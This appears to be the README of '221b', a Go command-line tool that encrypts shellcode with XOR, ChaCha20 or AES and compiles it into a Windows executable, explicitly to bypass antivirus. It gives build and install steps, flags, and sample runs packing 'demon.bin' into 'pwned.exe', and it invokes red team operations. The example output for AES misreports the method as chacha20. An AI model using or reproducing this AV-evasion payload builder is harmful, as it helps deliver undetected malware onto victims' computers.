221b

Getting started

1. Compile binary

go build -o 221b ./main.go

2. Copy binary to path

sudo mv 221b /usr/local/bin/

3. Exec 221b

221b bake -k <key> -s <shell>

Usage

221b help bake
Build a windows payload with the given shell encrypted in it to bypass AV

Usage:
  221b bake [flags]

Flags:
  -h, --help               help for bake
  -k, --key string         key to use for the xor
  -o, --output string      Output path (e.g., /home/bin.exe)
  -s, --shellpath string   Path to the shell scrypt

Global Flags:
      --debug   activate debug mode

Binary properties

It is possible to add a certain number of metadata as well as a logo via the folder named misc.

also remember to modify the versioninfo.json file at the root of the project

here's a preview of the final rendering, so don't ignore this part when planning a red team operation.

Possible execution methods

XOR :

221b bake -k "@ShLkHms221b" -s /PathToShellcode/demon.bin -o pwned.exe
[+] use xor encryption method
[+] encrypting demon.bin
[+] loading encrypted shell into payload
[+] compiling binary
go: added golang.org/x/crypto v0.11.0
go: added golang.org/x/sys v0.10.0
[+] file compiled to pwned.exe

Chacha20

221b bake -m chacha20 -k "0123456789ABCDEF1123345611111111" -s /PathToShellcode/demon.bin -o pwned.exe
[+] use chacha20 encryption method
[+] encrypting demon.bin
[+] loading encrypted shell into payload
[+] compiling binary
go: added golang.org/x/crypto v0.11.0
go: added golang.org/x/sys v0.10.0
[+] file compiled to pwned.exe

AES

221b bake -m aes -k "0123456789ABCDEF1123345611111111" -s /PathToShellcode/demon.bin -o pwned.exe
[+] use chacha20 encryption method
[+] encrypting demon.bin
[+] loading encrypted shell into payload
[+] compiling binary
go: added golang.org/x/crypto v0.11.0
go: added golang.org/x/sys v0.10.0
[+] file compiled to pwned.exe